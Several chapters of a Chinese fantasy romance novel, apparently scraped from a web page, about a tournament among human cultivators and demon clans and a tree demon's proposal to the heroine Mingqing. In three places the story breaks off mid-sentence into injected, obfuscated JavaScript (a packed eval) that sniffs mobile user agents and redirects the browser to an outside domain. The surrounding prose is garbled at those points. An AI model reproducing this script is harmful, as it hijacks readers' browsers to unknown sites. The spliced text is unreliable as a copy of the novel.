她的身体经过长时间的调理,已经比原来强上了不少,这才让她撑过了三场,但再多的,也的确是无能为力。 灵儿装模作样的叹了口气,又接着说道。 “我能猜到的,其他三族也差不多能知道,就算他们不清楚唐姑娘的状况,让她连续上四场也是不大可能,云修泽虽然下过场,但始终都在迷雾中,而明青更是一次都没有,你们猜,他们会怎么做?” 云修泽虽然笑着,但眼底却没什么温度,他的手指敲了敲桌子。 “你把我们的消息卖给他们了?” 明青也看着她,灵儿看着她眨眨眼,理所当然的嚷嚷道。 “当然没有!我可是只重情重义的好狐狸!” 她牵起明青的手,情真意切的说。 “姐姐,你明日可要小心,九乙族的路子多少与你相克,更何况圭许那个木头很不按套路出牌,不过没关系,我帮你打听了一下,他是有一个弱点的,他的痛感比起其他同族要敏感的多,所有的枝条都会有感觉,只要你们能把握住这一点,应该就没什么问题!” “嗯,多谢。”明青轻轻反握她了一下。 灵儿笑容加深了一些,又和两人东扯西扯得说了些别的,直到天色暗了些,才站起身来道。 “好了,待太久也不合适,令苏,我们走吧。” 说着,她的目光就去寻找令苏,结果惊讶的发现令苏不知什么时候和唐思月还有云修云聊起了起来,看样子聊的还不错,令苏甚至问了唐思月平日里怎么保养,喜欢用什么样的香囊。 这就要说回半柱香前。 令苏见族长聊起来不管自己了,就试图给自己找点乐子,现在美人当前,不行动的就是傻狐狸! 他有点可惜的看了一眼明青,他也很想和这个冷美人说说话,但她被族长霸占着,除非他想挑战族长,否则他也没什么办法。 他不动声色的凑到唐思月身边开始和她搭话。 随着他的靠近,云修云变得警惕起来。 平心而论,令苏实力强大,‘美貌’出众,不展露敌意的话,就是那种无害的、温润如玉的俊美,再加上他白女狐族的天赋,云修云实在是没法不担心。 他的不友好几乎是肉眼可见的程度。 那种目光,令苏就是想忽略也忽略不了,他有心想让唐思月说点什么,可她就跟没察觉到一样,一句话都不说。 令苏看看她又看看云修云,露出点狡黠的笑意。 “你放心,我不会跟你抢的,白女狐族不与外族通婚。” 云修云没想到他就这么点破了自己的心思,耳朵瞬间就红透了,放在剑柄上的手也僵了一下,他梗着脖子,呐呐的一句话都说不出来。 令苏欣赏了几眼他有趣的反应,就又接着去和唐思月搭话。 云修云悄悄瞥了几眼唐思月,见她没什么反应,心里说不上来是失落还是松了口气,也许都有吧。 他们聊天的样子很像是那种刚刚结识,互相欣赏的好友,根本看不出之前还有过要将对方置之于死地的时候。 唐思月的态度自然倒是说得过去,她一向是藏得住事儿的,可令苏那天还一副要与他不死不休、同归于尽的模样,现在真的已经忘了吗? 云修云微皱着眉,沉声问。 “令苏,你真的不在乎那天的比试了吗?” 令苏反倒诧异的看了他一眼,仿佛他问了一个多么奇怪的问题一样。 “当然,不过就是个比试,我承认那天是我凶了点,但打架哪有理智一直存在的道理,你不是也打回来了吗?怎么?刚给你道歉可是你自己说不用的。” 唐思月笑了笑,妖要比人纯粹的多。 云修云愣了下,迟疑的说:“好......吧?” 于是令苏又不理他了,接着去找唐思月说话。 那边说着正事,他们就你一句我一句的闲聊起来了。 灵儿差点被气笑,令苏是她当做族内二把手培养的,这次将他带在身边,一是为了防止和明青之间出现隔阂,二也是为了让他多观察一下人族,谁知美色当前,这个傻狐狸竟然就这么旁若无人的聊起来了,唉! 见族长叫了,令苏有些不舍得起身,还不忘再挣扎一下。 “你真的不能教我怎么弹琴吗?我可以教你别的的,只要你想学我都可以的。” 唐思月但笑不语。 “令苏!”灵儿喊道。 令苏颇有些遗憾,抓紧时间又看了眼明青就准备离开,可刚一转头,就和一张扭曲恐怖的脸来了个近距离对视,说实话,几人几乎能幻视到他炸毛的样子。 常年来养成的战斗素养让令苏没有叫出来,但无声无息的贴脸还是把他惊的差点控制不住人族的化形。 他屏住了呼吸,几瞬过后,才僵着身子,慢慢拉开了距离,分辨出眼前的‘妖怪’是那个叫行愿的男人,而那张恐怖的‘脸’,则是他戴的面具。 令苏表情都差点扭曲了,暗中骂骂咧咧的同时,也忍不住的心惊。 这人什么时候出现的他根本不知道,以他的实力,这本是不可能发生的事,而且更可怕的是,他现在才意识到,刚刚在聊天的时候,他潜意识就将他忽略了,明明一开始来的时候,他也是在的,这人,绝不简单! 令苏咬着牙笑道。 “这位仁、兄,有何要事啊?” 行愿不动如山,很突兀的说道。 “你摔了她的琴。” “啊?”令苏没反应过来。 行愿看向唐思月,令苏顺着他的目光看过去,过了一会儿,才突然想起了那天在擂台上,他好像是摔了把琴...... 令苏无言以对。 “怎么突然提起这个?” 行愿不明白他为什么不明白,他微微动了动头。 “你刚刚还让她教你弹琴。” 哦——原来是这样,令苏恍然大悟,他表情有了些愧疚,对唐思月说道。 “那把琴我记得没摔坏吧,对不住啊,我道......” “那把琴。”行愿打断他的道歉,加重了点语气说道,“很、贵。” 令苏的话被堵了回去,他试图向族长发起眼神求助,可族长礼貌回绝了他的申请,于是在几人无声地注视下,他也只能放弃挣扎,叹了口气,无力的说道。 “......我会赔的,明日我会差人送东西来。” 行愿这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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行愿的面具根本不是他平时戴的那种,灵儿他们刚来的时候,他戴的还是正常的,这一会儿的功夫,竟不知就从哪儿找着个这么吓人的面具。 这么一贴脸,别说是令苏,就是云修泽也得抖上一抖。 云修泽好笑的问道。 “行大哥,你这个面具是哪儿来的?” 行愿刚想回答,明青就回来了。 她走进院子,虽然还不知道发生了什么,但见他们都笑得那么开心,眼底就先染上了一层笑意。 “这是怎么了?” 她向云修泽问道。 云修泽低笑着将刚才的事跟她说了一遍,明青看向行愿,嘴角动了动,但还是很给面子的又压了下去。 那边的行愿则是暗中松了口气,本以为这茬过去了,却没想唐思月根本没打算放过他。 她的笑容狡黠,拄着下巴,拉着调子说。 “老大问你呢,面具哪来的呀?” 行愿无奈:“你也?” “嗯哼。”唐思月笑眯眯的点头。 见四人的目光都看了过来,行愿又僵了一会儿,才磕磕巴巴的说道。 “之前...庙...会...挂身上的.......” 唐思月转眼一想,才恍然想起来,那日她拉着行愿到处逛,挂了不少东西在他身上,也有一些是给他买的,好像是有这个面具。 众人这才明白过来,云修泽好笑的看了他一眼,看出他的不习惯,善良的决定放过他,顺便堵住了云修云张开想要说话的嘴。 云修云在他手里呜呜呜的表示抗议,云修泽也不管他,只说道。 “好了,今日天色也不早了,我们明日还要上擂台,还要仔细说一下对策,你们就先回去吧。” 云修云终于挣开了他的手,气呼呼的看他一眼,在兄长的压制下,还是选择什么都不说,和唐思月还有行愿一起离开。 他们一走,院子里就安静了不少。 云修泽和明青重新坐下,茶壶是特殊材料制成,散发着极淡的灵气,蕴养的壶中的茶一直维持在适口的温度。 云修泽重新倒了两杯,喝了一口后,就拿着茶杯沉默起来,过了一会儿,才轻轻转动着杯子,说道。 “九乙木已经知道我们的情报了。” 明青清楚的了解他的敏锐,她看向他,并不否定这个事情。 “是的,但不是核心的情报。” 云修泽调侃她。 “你救的这只狐狸可算不上对你死心塌地。” 明青像是笑了笑。 “毕竟是狐狸,毕竟是妖,毕竟是一族之长,我理解的。” “那就好。”云修泽还是悄悄观察了一下她的表情,看样子是真的觉得没什么,虽然以她的性子,应该是没事的,但这种事,他多少还是会担心她难过。 明青自然察觉到了,她明白他的想法,于是顿了顿,伸手轻轻拍了拍他的手,让他不用再忧心。 云修泽笑起来。 “不过她还是有点良心的,知道给我们点保障,到时候我们就利用好这个弱点吧,九乙木有毒,正好你我百毒不侵,我们是有一定优势的,明青,明日,你来主攻。” 明青思索片刻,对上圭许,她并没有十足的把握,但有挑战才会有成长,现在由她主攻也的确更好,有云修泽在身后,她可以放手一试! “好。”明青郑重回道。 圭许,明日擂台,你我胜负分晓! 46. 协济二十二 九乙木族繁衍后代的方式与各族皆不相同,他们不需要伴侣,自己便可以拥有后代。 当他们的实力足够强悍,便可以从自己的本源中剥离一部分,形成一株小小的幼苗,由特定的灵植供养,成长的时间则根据幼苗的天赋而定。 基于这种特殊的方式,九乙木族对伴侣的选择就并不会局限于本族之内,但通常来说,选择其他种族的可能性也并不大,人族寿命短暂,纵使有他们帮忙吊着,也延长不了几百年的时光。 其他的妖族对于他们来说则过于弱小,与他们旗鼓相当的三大妖族却都不与外族通婚。 但凡事总有例外。 圭许想着。 他的年岁在族中还称得上是十分年轻,也并不急于拥有自己的后代,就更不要说伴侣的选择,他醉心于各种毒素的钻研,只期待有一天能彻底解决掉他过于强烈的痛感。 但今天他竟然动了一点也许拥有一个伴侣也不错的心思。 与他们对阵的,是人族一个叫第七洲的队伍。 他们之前的战绩很是突出,圭许也在关注着他们,他注意到有一个女子从未下场,尽管他身为大妖的傲慢让他并不将这几人放在眼中,可天性的谨慎还是让他打探了一下此人的消息。 狐狸和他们有些交情,尽管已经在隐瞒,但骗过其他妖好说,想骗过他们三族却是很难的。 他和狐狸做了一笔交易,成功得来了这些人的情报,可今天上场之后,他便知道,狐狸还是有所保留。 那女子名唤明青,与她一同上场的是他们的队长,可主攻手却是她。 之前她每每出现在众人的视线中时,无一不是遮面而行,今日为了行动方便,倒是将面容露了出来。 听周围看客的哄闹声便知她容貌的出色,哪怕是圭许,哪怕是从来不注视红颜的他,也心服口服的承认,这是世上难得一遇的女子。 之后她的实力更是加深了圭许对她的这一印象。 她快的连拔地而起的藤蔓都很难将她围堵,而且圭许从她身上感受到了一种灼烧的痛感,这是只有修习与他们完全相克的心法剑道才有可能出现的。 好巧不巧,圭许正好知道这种心法剑道的出处,十甲木已经消失,她也不可能是十甲木伪装的人族,那便只有一种可能...... “噗呲!!!” 圭许身形一顿,低头,腰腹处有滴血的剑尖,是有人从他身后将他贯穿。 “敌人有两个,只看我们家主攻手是怎么回事啊少主。” 云修泽带着笑意的声音从背后传来,圭许一把将他震开,腹部的伤口飞快的涌现出无数细小的枝条交叉缠绕,很快就不再有鲜血涌出。 回头一看,带上来的同族不知何时已经被打下了台,圭许心中并无波澜,只是一个和两个的区别罢了。 擂台附近的同族都是素日亲近于他,性格活泼,还处在少年时期。 现在围在一起看他一打二,都显得有些激动,还自发的有节奏的喊起来。 “少主!加油!少主!加油!” “少主!加油!少主!加油!” “少主!加油!少主!加油!” 圭许听的心烦,百忙之中抽空敷衍了他们一下,一根枝条甩过去就将几只小妖的嘴全都封了起来。 “闭嘴。”他说道。 被捆成一团,被迫和同族贴贴的小妖们忙不迭的点头。 耳根子清净了,圭许算是松了一口气。 这两人十分的不好对付,狐狸应该也给了他们关于他的消息,他们知道他怕痛,攻击不到他本体也要招呼一些他召唤出来的枝条,纵使他很能忍痛,次数多了,也难免会被影响。 他们二人的默契也很好,常常圭许将一人甩出去,另一人马上就能替换支撑,而且他发现了一个让他十分感兴趣的事情。 那个叫明青的女子,对他所有的毒都免疫。 所有的毒。 一开始,他只是发现她有时会为了掩护另一个人,并不介意让自己暴露在他的攻击范围内,圭许对她很感兴趣,也不欲将她弄死,所以最开始注入的毒,都是一些能够让她昏迷或者致幻的,并不伤她的性命,可她却完全没有反应。 这可如何了得。 圭许最爱摆弄毒,他的毒在他们本族之中也只有数位长辈可以略胜一筹,他从未遇见过这种情况。 于是圭许对她的兴趣又添了两分。 若是能取一些她的血用来研究为何她能免疫他的毒就是再好不过。 不过越是复杂的东西,想要弄清楚就需要越长的时间。 什么样的情况才能让这个女子配合自己的研究,并且长时间留在他身边呢? 在偶尔近距离的对峙中,他发现这个女子的性子应该和他差不多,都是安静、专注的人,这点,怕麻烦的他很是满意。 他思考着,他明白这个女子的尊贵,可他地位同样很高,这很符合人族常说的门当户对。 至于人妖之分,应该也不必担忧,她既能出来行走,想必也是以自己的意愿为主,只要征得她的同意,便再没什么阻碍。 更何况她的实力很强,也相当难缠,若是单独对上他,虽然不会像现在一样存有余力,但也不是没有获胜的可能,要知道圭许可是本就实力强大的妖族中极出挑的那个,而她,也不过是双十之数。 圭许走神走的相当明显。 云修泽不解,他的落败之相已经显露,此时不做争取,怎么反而还发起呆来? 此时,一支灵活的藤蔓正追逐着明青,她的轻功再好,也不是能飞的,需要借力之处。 眼见着就要被捉到,云修泽连忙往她的方向赶去,褚闲伸出,堪堪将她够到。 明青脚踩褚闲的剑身,褚闲微微下压,她便又轻若无物一般再次跳起。 现在的战况已经进入了一个平衡点,每次圭许就要落败之时,他都能迅速扭转败局,可若说胜过他们两人,也是没有,只仍然保持着‘垂死挣扎’的状态。 云修泽知道他不过是在和他们耗着而已,彼此都心知肚明。 忽然,圭许一把将他们甩了出去,与他们拉开距离,随即就收了手,淡定的表示认输。 云修泽和明青赢得猝不及防,两人一妖诡异的在擂台上沉默了一会儿,在两方眼神都很奇怪的情况下离开了擂台。 云修泽:“他怎么突然就认输了?” 圭许:“我一个耗不过他们两个,我不认输干什么?他们的表现怎么那么奇怪?” 云、唐、行:“不知道,好奇怪啊。” 九乙木妖众:“就是就是,人族蠢得很,没准没能理解少主的意思。” 听到一切的灵儿:“......” 她无力的叹了口气,也不怪云修泽他们不理解,妖族的自傲要在人族之上,对战就算不是不死不休,也一定要打到耗尽全身力气,之前的令苏就是这样的一个例子。 可偏偏圭许这个木头是个奇葩,他从来不做浪费时间的事情,宁愿将剩下的时间都花在毒身上。 刚刚一直和他们打,恐怕也是在试探他们的实力能够支撑多久,一旦发现自己没有赢的可能,马上就放弃了,弄得两边都一头雾水。 云修泽和明青都受了些轻伤,五人稍作叙话就准备离开,可却被圭许留了下来。 看着一群堵路的九乙木,云修泽眼神冷了冷。 “圭许少主,可还有事?” 是他问的话,他也显然是五人中主事的那个,可圭许却只分了他一个眼神,将他无视的很彻底。 圭许稍长的头发遮住了他的眉眼,可他们还是能从细微的缝隙中看到他幽绿的双眼,他看着明青,开口问道。 “敢问姑娘姓名。” 原来是冲明青来的,云修泽皮笑肉不笑的勾起嘴角,上前一步挡在明青的身前。 “刚才不是已经报过名字了吗?怎么?可是少主贵人多忘事?” 圭许好像是有些诧异的看了他一眼,随即越过他的肩头去看明青,明青也点头。 “明青。” 如此,他便明白了。 圭许不太熟练的露出一个笑脸。 “今日匆忙,明日我自会备下重礼前去拜访,明日见,明姑娘。” 说完,还没等几人反应过来,他们就转身离开了。 云修泽皱着眉,五人互相看了看,都不知道他在搞什么名堂。 唐思月捂着嘴笑起来。 “莫不是明青魅力太大,叫他给相中了吧?” “应该不能。”云修泽顺嘴就说出来,说完想到什么,又立马去看明青,摆了摆手解释道。 “我的意思是,毕竟是四大妖族之一,为了保证后代的血统纯正,都是不与外族通婚的,你自然是有这个魅力。” 明青本来没放在心上,可听他这么一通解释,反而生了点儿逗弄他的心思。 “那你怎么证明?” 我啊。 云修泽立马想到,但他没说出来,只是一边摇头晃脑,一边加快了点儿步伐,拉着长调子说道。 “那还不简单吗——” 作为同父同母的兄弟,云修云十分熟悉他这个样子,他立马喊道。 “快!抓住他!他要跑!!!” “哈哈哈哈哈哈哈哈!!!” 就在他喊出口的那一刻,云修泽就果不其然以迅雷不及掩耳之势,迅速开跑。 他们还没有离开现场,所以他们的行为自然也被众人收入眼中。 影玖半倚着靠台,看着云修泽大笑着在前面跑,四人在后面追的欢乐模样,漫不经心的笑道。 “趁今日尽情的笑吧,后日,只怕就是要笑不出来了。” 第二日,圭许果然来了。 看着他命人一箱箱的往院子里抬东西,五人皆是不知道该说些什么。 应该是顾念着这里是人族的地盘儿,所以抬箱子的也专门雇了一些人族,他自己则只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这蹩脚的说法云修泽自然不信,可他也并不欲追究。 “你为什么要求娶她?” 圭许看了他两眼。 “你说了半天,又是以什么身份在问呢?你是她的伴侣吗?” 这下可把云修泽给问住了,他很想说他是,但事实上他的确没有这个立场。 “你为什么要求娶我?” 明青却又将他的话重新问了一遍,这也是众人所想。 既然是她问,圭许还是要好好回答的。 “我喜欢你的安静,你的强大,甚于狐狸的美貌,以及。”圭许顿了顿,还是决定实话实说,“以及你百毒不侵的体质。” 明青了然,最后一个才是这几个原因中占大头的部分。 圭许抬手叫一个同族走上前来,在旁边的桌子上放上了一只玉碗,碗中还装着一些似银非银的水。 “这是九乙族圣物,疑露,可用于伴侣之间结契,你我各滴一滴指尖血,从此你我将性命相连。” 明青没想到他竟做了如此准备,她的面色复杂。 “为什么要做到如此地步?你我不过一面之缘。” “我只是想让你知道我的诚意,我也并不会将你用于试验而不顾你的身体,人族寿命短暂,你只要将性命系于我的身上,便可延寿许久,你意下如何?” 不如何。 云修泽在一旁拉着个脸想到,但他无法替明青做决定,虽然他知道明青不会答应,可不由自主紧握的拳还是让他明白,他并不甘心。 圭许的语气虽然全程没有什么起伏,但也可以看出他是认真的。 无论出于什么原因,感情是否深厚,认真的问题都该得到认真的回答。 明青正色,语气郑重的回道。 “对不起,我现在并不欲与谁结为伴侣,我的身上还担负着必须要去完成的事情,而且。”她顿了一下,敛眸说道,“我必须要回到我母亲的身边。” 云修泽的眉眼微颤,手指缓缓放松,却复又拢紧。 圭许沉默了一会儿,准备的如此充分的他却出乎意料的没有再做争取,只是语气仍是平静的说道。 “好吧,看来你我无缘,那可否给我一些你的血?” 明青谨慎地说。 “大比彻底结束之后,如果你还想要。” 圭许微微颔首,起身就准备带着几个同族离去。 “诶!兄弟!你东西!”云修云喊道。 圭许看了一眼地上摆着的箱子。 “给她的,就没有再收回来的道理。” 说罢,他便潇洒离开。 明青有心再劝说他收回去,可下一眼再看,云修云已经好奇的开始上手摆弄那些珠宝,而唐思月则蹲在了灵草灵药那几箱前,双眼都微微泛着光。 明青无奈一笑,也就随他们去了。 47. 协济二十三 圭许走后不久,明水心也来到了这里,正巧五人还未散去,就一道去了正堂。 明水心坐上主位,关心了几句他们的身体状况,就开口与他们道别。 “你们是有出息的,不过我带来的孩子们也只是来长长眼,并未撑过第二轮,现下阁中要事堆积,还需我亲自处理,不日便准备离开,沁园就留给你们,尽管安心住下,有什么事,吩咐下人即可。” 云修泽出言挽留了几句,见长辈去意已决,便不再多劝。 他与身后几人对视一眼,就都默契退下,将空间留给了姑侄二人。 见他们告辞离开,明水心和明青就携手进了里间,坐的更亲近了些。 现下只有她们二人,明水心便问道。 “我看最近进进出出拜访你们的人里有不少妖族,可有什么缘故吗?” 他们住的地方虽然一切都随他们的心意,仆从差使也听从他们的命令不会随意走动,可沁园真正的主人还是明水心,这里发生的一切都会报到她的耳中,来访者的意图虽然弄不清楚,但身份却是可以辨认的。 听到她说,明青也并不意外。 “之前那一位是我早年间的好友,这一位.....” 要让她说圭许前来的目的,明青也有些说不出口,只能将事情抛开,只谈及部分真相。 “这一位是为了从我手中得到些东西,来与我商议,今后应也不会再来。” 明水心深知她的性子,见她这种表现,也不像是需要隐瞒,便推测着问道。 “不是正事?” 不知是不是通神阁的人都会下意识的打探消息,明青无奈,只能嗯了一声表示认同。 明水心懂了,揶揄的笑起来。 “竟是看上你了?我看外面放着的箱子原是提亲的规格,本以为是妖族不懂人族的礼数,却不想正是懂的很啊哈哈哈。” 明水心能坐上如今这个位置,绝不是个愚笨的,刚刚她来时,几个箱子还未收起来,她看过一眼,也并未放在心上,现在这么一说,便很快将事情的真相串了起来。 明青被她笑的头疼,她最不擅长处理这种事情,可明水心偏偏没有打算放过她,继续调侃道。 “我就说我们青儿才貌出众,实力极强,有几个献殷勤的最是正常不过,可怜你父亲还担忧你性子冷淡,将来寻不到知心人,你看看,这不就来了!” 明青无奈,只能讨饶的喊道:“姑姑......” 明水心:“怎么?看不上这个?还是说......心中已然有人了?” 见明青低头默默不语,明水心就知道自己猜对了,短暂的沉默过后,反而正色起来,轻声问道。 “是谁?那个叫行愿的散修,还是云家子?” 虽说行愿是个已经失去家族的散修,身份地位无一可与他们家青儿相配,更何况时时戴着面具,不以真面目示人,难保其中还有什么内情,但他却是自由身,来去可以商讨,只要青儿喜欢,一切都不是问题,明水心宁愿是他,可她也知道,可能性并不大。 见明青依旧沉默,明水心在心中深深叹了口气,弯下了一直板正的脊背,向后靠在座位上,随着她的动作,一部分面容也被暗色遮挡,让她此刻沉静的面色变得难以捉摸。 “隐世大族的规矩你多少也知道一些,他们培养的继承人是绝不可能脱离家族的,恩垚至今还未找到,你母亲的状况你也清楚,若是最后你仍没有找到他,你终归是会回去的。” 她的语气平静,诉说着一个对明青来说也许有些残忍的事实,可当明青真的露出了些难过的神色,她偏又心软,只能柔声问道。 “你心许他什么呢?” 明青迟疑了一下:“......脸?” “脸?”明水心错愕,如此出乎意料的回答惊的她连身上淡淡的阴郁感也散去了,看见明青眼中划过的一丝笑意,就明白过来这丫头是故意说来与她顽笑的,于是就佯装恼怒戳了戳她的额头。 “你啊你,让我说什么好?” 明青顺势攀上她的肩膀,垂首靠上去。 “那我们不说了......” 见她撒娇,明水心知道她心中苦闷,心疼之余,也拿她没有办法。 而靠在她身上的明青,垂着眼眸,眼神有些空洞,一如她的心,空落落的,没有个着处。 为何心许于他,其实她也说不上来,她从小冷心冷性,师傅曾担忧她为人处世,或叫人坑骗,曾专门教她识人之术,甚至让长老专门带她去了闹市,训练她在短时间内分辨人基本的善恶,自己则在山上时时看着。 明青觉得此举无甚大用,自己也不是三岁稚子,可她相信师傅自有师傅的用意,多学一些也无甚坏处,于是也认真学着。 是以,在之后与他并不长的相处时间里,就十分快速的了解到了一些他的性子。 他生的实在好,明青和明水心说喜欢脸也不是虚话,他总说君子如竹,也的确如此,在他偶尔陷入自己的世界中时,总会不自觉的给人一种如青竹一般清泠泠的感觉。 明青很喜欢这种感觉,她自己通身是毒,最喜生机旺盛,在她看来,总是挂着笑脸、意气风发,青竹一般的他正是生机一词的拟人化,所以她很喜欢在有他的地方待着,但也仅是如此。 若说什么时候真正的开始动心...... 应该是他闯入周天山的那一夜。 那日,她随行师傅身侧,隐在暗处,不可置信的看到了,本不应该出现在那里的他。 那时师傅浮尘一甩,转头笑眯眯的看着她,言下之意已十分分明。 她曾笃定的告诉师傅,此人最善审时度势,明哲保身,他们之间只有短短一段时日的同伴之情,所以他绝不会来。 那时的她并非不知道他对她有情,可天下男子多是薄情之人,这份‘情’就算为真,也怕是浅薄,而明青相信,他绝不会因为这点,就踏过那条危险的线。 可偏偏他来了。 她看见他在雾中警惕的行走,眼神和步伐都毫无迟疑,只有笃定,仿佛任何困难都不能阻挡他此刻的一往无前。 明青的心动摇了。 她知道他的到来意味着他已经战胜了他自己身上一些根深蒂固的东西,为了她,或者至少有一部分是为了她。 明青不明白为什么,她试图搞明白。 那日明青按捺的心中被刻意忽略的点点雀跃,和他说了许多,好像什么都说清楚了,又好像全是旁的话,一些重要的问题被两人默契的跳过,却也好像已经给了答案。 明青心中难得忐忑,潜意识的第一反应就是向师傅求助。 她去找了师傅,询问心中的困惑,师傅却说她已经懂了,只是还不愿面对。 明青沉默许久,师傅通晓万物,她有心想问最后的结局,可也深知师傅只干涉影响世间存亡的大事。 当她抬头,望见师父温和的目光,心中的忐忑就逐渐被抚平。 后来,后来的时间里他们五个人一起上路,在野外支过帐篷,住过街边简陋的小店,也住过环境很好的酒楼。 一路经历着风霜雨雪,与人交战,出手也越来越默契,经历的事情对旁人来说也许还不算多,但明青之前的岁月不是在家中度过就是在周天山上度过,少有如此鲜活。 她喜欢这样的生活,喜欢和他们在一起,也喜欢在一片热闹时,她望向他时一定能看到的温和的眼睛。 可她知道,她的父母只有她和哥哥两个孩子,若是遍寻哥哥不到,她也无法放任父母不管,纵使父母愿意放她离开,无需她的照料,她同样无法解开这份心结,必然会长久的守护在他们身边。 可他同样不会离开他的家族,他不清楚她的身份,可她却将这隔开他们深深的沟壑看得清楚。 所以明青小心翼翼的掩藏着已经透明的心,自欺欺人、无可奈何、心存侥幸的与他维持着这终将会被打破的现状。 也许并不是毫无希望的。 明青总是如此想着。 明水心轻轻顺着她的头发,轻叹一声。 “也罢,我看那个孩子是个好的,也稳重,我一直关注着你们,几场看下来,他的实力也已远超同龄之人,是少有可与你势均力敌的,身份教养亦是不差,我看啊,就算最后无疾而终,也不要给自己留遗憾。” 明青何尝不知,人生苦短,既苦也短,哪怕是一点点甜,也是要紧紧抓住的。 姑侄两人互相倚靠着静静的待了一会儿,之后也不再提这事,只有明青轻声询问明水心之后路程安排的声音。 明水心即将离开,但心中总放不下她,于是不无忧虑的说。 “好孩子,我知道你们是奔着夺魁而去,你们实力虽强,可这一场盛事能炸出来的老怪物不少,你们又是以散修身份参加,只怕会有人对你们不利,姑姑是想着,将几位长老留下,随行护持你们左右,你看如何?” 明青安抚的拍拍明水心的手。 “不必劳烦诸位长老客卿,姑姑放心,我们是有信心能离开的,更何况我们风霜露宿的,也没个稳定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16114804|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时候,你安排了人来,反倒叫他们无措,你就安心离去吧。” 她笑了笑道。 “如果一直安全,也会失了放手一搏的勇气。” 明水心是领教过她那一身诡异的轻功,知道逃命对她来说并不如何困难,见她心意已决,也就没有再多加劝说。 “你呀你,什么时候能收收心记得回家,你这次的行踪我没有告诉你父亲,可若是他来查也难保一定查不到,仔细他将你抓回去,好好教训你一顿。” 明青笑了笑,拉着她的手轻轻摇晃。 “那姑姑可要多帮我掩饰掩饰,我知道你是最疼我的。” 明水心崩了一会儿臭脸,还是忍不住笑了起来,笑骂她就是个会摆弄人心的小滑头。 两人说着话,直到天色暗下来,明水心才从这里离开。 明青站在门口目送她离去,直到她的背影再也不见了才准备进屋。 可刚一转头,余光中就不期然的瞥见了一抹身影。 明青一顿:“怎么了?” 云修泽靠在墙上,望着天上隐约的星光,语气十分轻松。 “哎呀,这好不容易见面的亲人马上就要离去,也不知某人会不会哭鼻子啊。” 明青发出一声介于哼和呵之间的鼻音,转头进了屋。 云修泽依然靠在那里,仍是笑着,丝毫不介意她的态度。 不一会儿,明青就拿着一壶酒和两个杯子走了出来,来到院中的石桌上,为两人各斟了一杯。 云修泽跟着她坐过来,抬头看见了石桌旁栽种的大树,问道。 “你的居处,石桌总是安置在树旁,你也总喜欢坐在这里,可是有什么缘故吗?” 明青随着他的目光抬眼看向了旁边的树,一阵风过,树枝轻轻摇晃。 “是我哥哥喜欢,我幼时总想着做跟他一样的事,也许就能搞懂他在想什么,久而久之,也就成了习惯。” 云修泽将目光重新落回她的身上,拖着下巴,拉长调子嗯了一声。 “那你搞懂了吗?” “没有。”明青摇头。 “你哥哥是个什么样的人?” 明青想了想。 “在我的印象中,他很安静,待人和善,却总是心中郁郁,不见展颜,我也问过父母和旁人,也只隐约知道他并不是一直如此。” 云修泽:“那你父母呢?都是什么样的人?” “父亲长于经商,头脑冷静,在外不苟言笑,却总愿意哄着我母亲,而我的母亲......” 云修泽眼神一暗,静静的听着她接着说下去。 “说来奇怪,我母亲的母家是个复杂的家族,可她偏偏长成了温婉单纯,甚至还有些胆小的性子,也许是有人庇佑,我并不清楚,只是自我记事以来,她就少有外出走动,只一心打理家里,从不愿参与重要的决策。” 明青有些出神的回忆着母亲的样子。 “母亲的心很小,只愿装下父亲和我们兄妹二人,也许还有舅舅,但他们的感情似乎也并不深厚。她从未习武,从小被娇养长大,身子弱,我与哥哥的离家应该都对她造成了不小的打击,姑姑说,她现在缠绵病榻,我心忧于她,却也不能侍奉在侧......” 云修泽看着她不自觉紧握的手,神色晦暗不明。 “未曾寻好医师看上一看吗?” “看过,只是心病还需心药医,外物起不到什么作用。” “你家在计都?” 明青看了他一眼,随即就垂下了眼睛。 “对。” 云修泽盯着她。 “可曾想过换个环境生活?也许能让你母亲心情开阔一些。” 明青嘴角带着些微苦涩的勾了勾。 “想过,偶尔父亲会带着母亲到各地游玩,只是无法常驻,母亲体谅父亲苦心,身体却不见好,也不愿四处奔波,所以两人现在也基本不会出来。” 云修泽定定看了她一会儿,没得到她的回视,便低头去摆弄自己的杯子。 云修泽脑子放空的看着杯子里自己的倒影,过了一会儿,突然举着杯子来到了院中央,在明青诧异的眼光中,将杯中酒横洒在了地上。 他敛眸说道。 “敬天地,愿你母亲玉体康健,愿你早日寻到你的兄长。” 明青心绪翻涌,难以言说自己现在的心情,只能跟着他也举杯来到了这里,同样洒了下去。 她默默想到。 敬天地,但愿此心如旧,天也不违人愿。【注1】 48. 协济二十四 夜色已深,云修泽从明青处出来,走在路上,模样瞧不出什么来,实际上却已头疼欲裂,无数纷杂恶念在他心中脑海翻涌,搅得他不得安宁。 不知不觉间,他就来到了他们第一次来到沁园时,谈话的那座水榭。 水面波光粼粼,上面除了直通亭子的长廊外,还有分散的圆形石台,特地做成了荷叶的模样,成了另一条通往亭子的路。 本来湖中还有鱼儿偶尔跃起,也有虫鸣蛙声,可渐渐的,似乎是感觉到了云修泽压抑的气场,都慢慢安静了下来。 涉及到他自己内心真正的想法,云修泽甚至可以说得上是不善言辞,也可以说并不愿说出口,从小到大皆是如此。 